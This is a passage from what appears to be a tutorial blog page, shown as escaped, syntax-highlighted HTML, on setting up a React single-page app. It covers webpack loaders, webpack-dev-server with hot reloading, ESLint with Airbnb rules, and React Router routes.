&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getElementById&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;app&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can start adding react components. Create &lt;code&gt;app/js/components/Global/Menu.jsx&lt;/code&gt;&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;React&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Component&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;export&lt;/span&gt; &lt;span class="token keyword"&gt;default&lt;/span&gt; &lt;span class="token keyword"&gt;class&lt;/span&gt; &lt;span class="token class-name"&gt;Menu&lt;/span&gt; &lt;span class="token keyword"&gt;extends&lt;/span&gt; &lt;span class="token class-name"&gt;Component&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function"&gt;render&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;return&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class="token attr-name"&gt;className&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;Menu&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;        Main Menu
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;      &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="index-page"&gt;Index Page &lt;a class="anchor-link" href="#index-page"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Create index page in the &lt;code&gt;app&lt;/code&gt; folder.&lt;/p&gt;
&lt;pre class="language-html"&gt;&lt;code class="language-html code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token doctype"&gt;&lt;span class="token punctuation"&gt;&amp;lt;!&lt;/span&gt;&lt;span class="token doctype-tag"&gt;DOCTYPE&lt;/span&gt; &lt;span class="token name"&gt;html&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;html&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;head&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;title&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Your app name&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;title&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class="token attr-name"&gt;charset&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;quot;&lt;/span&gt;utf-8&lt;span class="token punctuation"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;head&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;body&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class="token attr-name"&gt;id&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;quot;&lt;/span&gt;app&lt;span class="token punctuation"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;script&lt;/span&gt; &lt;span class="token attr-name"&gt;src&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;quot;&lt;/span&gt;app.js&lt;span class="token punctuation"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token script"&gt;&lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;script&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;body&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;html&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&amp;#x27;ll need file loader for it&lt;/p&gt;
&lt;p&gt;npm install file-loader --save-dev&lt;/p&gt;
&lt;p&gt;Update webpack config to add entry&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  entry&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    javascript&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;./js/app.js&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    html&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;./index.html&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and add loader&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    test&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token regex"&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;span class="token regex-source language-regex"&gt;&lt;span class="token special-escape escape"&gt;\.&lt;/span&gt;html&lt;span class="token anchor function"&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    loader&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;file?name=[name].[ext]&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now when we run webpack again, we&amp;#x27;ll get &lt;code&gt;index.html&lt;/code&gt; and &lt;code&gt;app.js&lt;/code&gt; in dist folder.&lt;/p&gt;
&lt;h2 id="dev-server-and-hot-reload"&gt;Dev server and hot reload &lt;a class="anchor-link" href="#dev-server-and-hot-reload"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Install webpack development server, and run it&lt;/p&gt;
&lt;p&gt;npm install --save-dev webpack webpack-dev-server
node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js&lt;/p&gt;
&lt;p&gt;(Tip: Same as with webpack, you can install it globally &lt;code&gt;npm i --global webpack-dev-server&lt;/code&gt; and run it using &lt;code&gt;webpack-dev-server&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;Now open &lt;code&gt;http://localhost:8080/&lt;/code&gt; in your browser of choice. You should see your app.
Development server will watch for your changes and rerun the bundler.
Still we need to manually refresh the browser.&lt;/p&gt;
&lt;p&gt;So let&amp;#x27;s add hot reloading.&lt;/p&gt;
&lt;p&gt;npm install react-hot-loader --save-dev&lt;/p&gt;
&lt;p&gt;Update webpack js/jsx loader to use hot reloading&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    test&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token regex"&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;span class="token regex-source language-regex"&gt;&lt;span class="token special-escape escape"&gt;\.&lt;/span&gt;jsx&lt;span class="token quantifier number"&gt;?&lt;/span&gt;&lt;span class="token anchor function"&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    exclude&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token regex"&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;span class="token regex-source language-regex"&gt;node_modules&lt;/span&gt;&lt;span class="token regex-delimiter"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    loaders&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token string"&gt;&amp;quot;react-hot&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;babel-loader&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we need to add two more options when running dev server &lt;code&gt;--hot&lt;/code&gt; and &lt;code&gt;--inline&lt;/code&gt;.
We will also add &lt;code&gt;--history-api-fallback&lt;/code&gt; which will be useful when we add react router.
This option tells server to fallback to &lt;code&gt;index.html&lt;/code&gt; which will handle routing (as we are building single page app).&lt;/p&gt;
&lt;p&gt;node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js --hot --inline&lt;/p&gt;
&lt;p&gt;Not only the hot reload watches the changes and updates the browser, but it injects the code and keeps the application state.
Note that not all modules can be replaced.
The code in &lt;code&gt;app/js/app.js&lt;/code&gt; cannot be reloaded and will cause a full page reload but changing the children components will trigger a hot module replacement.&lt;/p&gt;
&lt;p&gt;To make things easier, we&amp;#x27;ll add our script to the &lt;code&gt;package.json&lt;/code&gt; file.&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string-property property"&gt;&amp;quot;scripts&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string-property property"&gt;&amp;quot;dev&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js --hot --inline --history-api-fallback&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can run only &lt;code&gt;npm run dev&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="eslint"&gt;ESLint &lt;a class="anchor-link" href="#eslint"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We are going to use AirBNB&amp;#x27;s set of rules for linting, as their standards are really good.
Also, creating eslint by hand would take a long time.&lt;/p&gt;
&lt;p&gt;Pro tip: &lt;strong&gt;ALWAYS LINT&lt;/strong&gt;. No matter what people say - &lt;strong&gt;always use linters&lt;/strong&gt;.
You will catch errors earlier, and enforce your (the best) standards.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/airbnb/javascript/tree/master/packages/eslint-config-airbnb"&gt;https://github.com/airbnb/javascript/tree/master/packages/eslint-config-airbnb&lt;/a&gt;&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;npm&lt;/span&gt; &lt;span class="token function"&gt;install&lt;/span&gt; --save-dev eslint eslint-config-airbnb eslint-plugin-import eslint-plugin-react eslint-plugin-jsx-a11y eslint
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we need to create &lt;code&gt;.eslintrc&lt;/code&gt; that only needs extends param,
but if you want to customize it, add your rules to the &lt;code&gt;rules&lt;/code&gt; object.
Personally I like single quotes more, and spaces in the react curly synthax.&lt;/p&gt;
&lt;p&gt;You might have to restart your editor for changes to take effect.
For beginners I would recommend &lt;a href="https://atom.io/"&gt;Atom&lt;/a&gt; editor.&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;quot;extends&amp;quot;&lt;/span&gt;&lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;airbnb&amp;quot;&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;quot;rules&amp;quot;&lt;/span&gt;&lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;jsx-quotes&amp;quot;&lt;/span&gt;&lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token number"&gt;2&lt;/span&gt;, &lt;span class="token string"&gt;&amp;quot;prefer-single&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;react/jsx-curly-spacing&amp;quot;&lt;/span&gt;&lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token number"&gt;2&lt;/span&gt;, &lt;span class="token string"&gt;&amp;quot;always&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;react/prefer-stateless-function&amp;quot;&lt;/span&gt;&lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="react-router"&gt;React Router &lt;a class="anchor-link" href="#react-router"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Install it from the NPM&lt;/p&gt;
&lt;p&gt;npm install --save react-router&lt;/p&gt;
&lt;p&gt;What we&amp;#x27;ll do is pretty much the same thing from the official getting started guide.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/reactjs/react-router/blob/master/docs/Introduction.md"&gt;https://github.com/reactjs/react-router/blob/master/docs/Introduction.md&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Your &lt;code&gt;app.js&lt;/code&gt; should look like this. You&amp;#x27;ll have to create &lt;code&gt;App&lt;/code&gt;, &lt;code&gt;Home&lt;/code&gt; and &lt;code&gt;About&lt;/code&gt; views.&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;React&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;ReactDOM&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react-dom&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;App&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;./views/App&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;Home&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;./views/Home&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token maybe-class-name"&gt;About&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;./views/About&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Router&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Route&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;IndexRoute&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; browserHistory &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;react-router&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token maybe-class-name"&gt;ReactDOM&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;render&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token class-name"&gt;Router&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;history&lt;/span&gt;&lt;span class="token script language-javascript"&gt;&lt;span class="token script-punctuation punctuation"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; browserHistory &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;    &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token class-name"&gt;Route&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;path&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;/&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;component&lt;/span&gt;&lt;span class="token script language-javascript"&gt;&lt;span class="token script-punctuation punctuation"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;App&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;      &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token class-name"&gt;IndexRoute&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;component&lt;/span&gt;&lt;span class="token script language-javascript"&gt;&lt;span class="token script-punctuation punctuation"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;Home&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;      &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;&lt;span class="token class-name"&gt;Route&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;path&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;about&lt;span class="token punctuation"&gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt; &lt;span class="token attr-name"&gt;component&lt;/span&gt;&lt;span class="token script language-javascript"&gt;&lt;span class="token script-punctuation punctuation"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token maybe-class-name"&gt;About&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token plain-text"&gt;    &lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="token class-name"&gt;Route&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token plain-text"&gt;
